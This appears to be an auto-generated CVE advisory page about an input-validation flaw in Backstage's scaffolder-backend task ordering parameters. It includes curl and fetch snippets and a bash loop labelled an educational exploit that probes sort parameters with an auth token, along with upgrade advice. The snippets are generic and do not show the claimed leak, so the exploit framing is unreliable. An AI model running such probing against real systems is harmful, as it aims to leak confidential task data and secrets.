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This vulnerability exists within the `@backstage/plugin-scaffolder-backend` package of Backstage due to improper input validation when handling task list ordering parameters. An authenticated user possessing basic permissions to interact with scaffolder tasks can manipulate specific request query parameters responsible for sorting and pagination, such as created_at, status, or created_by. By sending repetitive, specifically structured API calls and altering ordering fields, an attacker can strategically leak confidential task metadata and retained secrets through differential response analysis.
DailyCVE Form:
Platform: Backstage Scaffolder Backend
Version: Below version 4.1.0
Vulnerability : Improper Input Validation
Severity: Moderate Severity Level
date: August 28, 2026
Prediction: August 28, 2026
What Undercode Say:
Analytics
Query the Backstage Scaffolder endpoint using custom task list ordering parameters curl -X GET "https://backstage.example.com/api/scaffolder/v1/tasks?order=created_at&by=desc" \ -H "Authorization: Bearer <AUTH_TOKEN>" \ -H "Content-Type: application/json"
// Example payload manipulating task list sorting inputs
const fetchTasks = async (sortKey) => {
const response = await fetch(<code>/api/scaffolder/v1/tasks?order=${sortKey}</code>, {
method: 'GET',
headers: {
'Authorization': <code>Bearer ${userToken}</code>,
'Content-Type': 'application/json'
}
});
return await response.json();
};
Exploit: (Educational Purposes!)
Educational script illustrating task ordering parameter probing
for order_param in "created_at" "status" "created_by"; do
echo "Testing ordering injection on parameter: $order_param"
curl -s -X GET "https://backstage.example.com/api/scaffolder/v1/tasks?order=${order_param}" \
-H "Authorization: Bearer ${AUTHENTICATED_TOKEN}" | jq '.'
done
Protection:
Update the affected @backstage/plugin-scaffolder-backend package to version 4.1.0 or higher yarn add @backstage/plugin-scaffolder-backend@^4.1.0
Impact:
An authenticated user with permissions to create and read scaffolder tasks may infer confidential task data and retained secrets by executing repetitive, manipulated ordering requests.
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Sources:
Reported By: github.com
Extra Source Hub:
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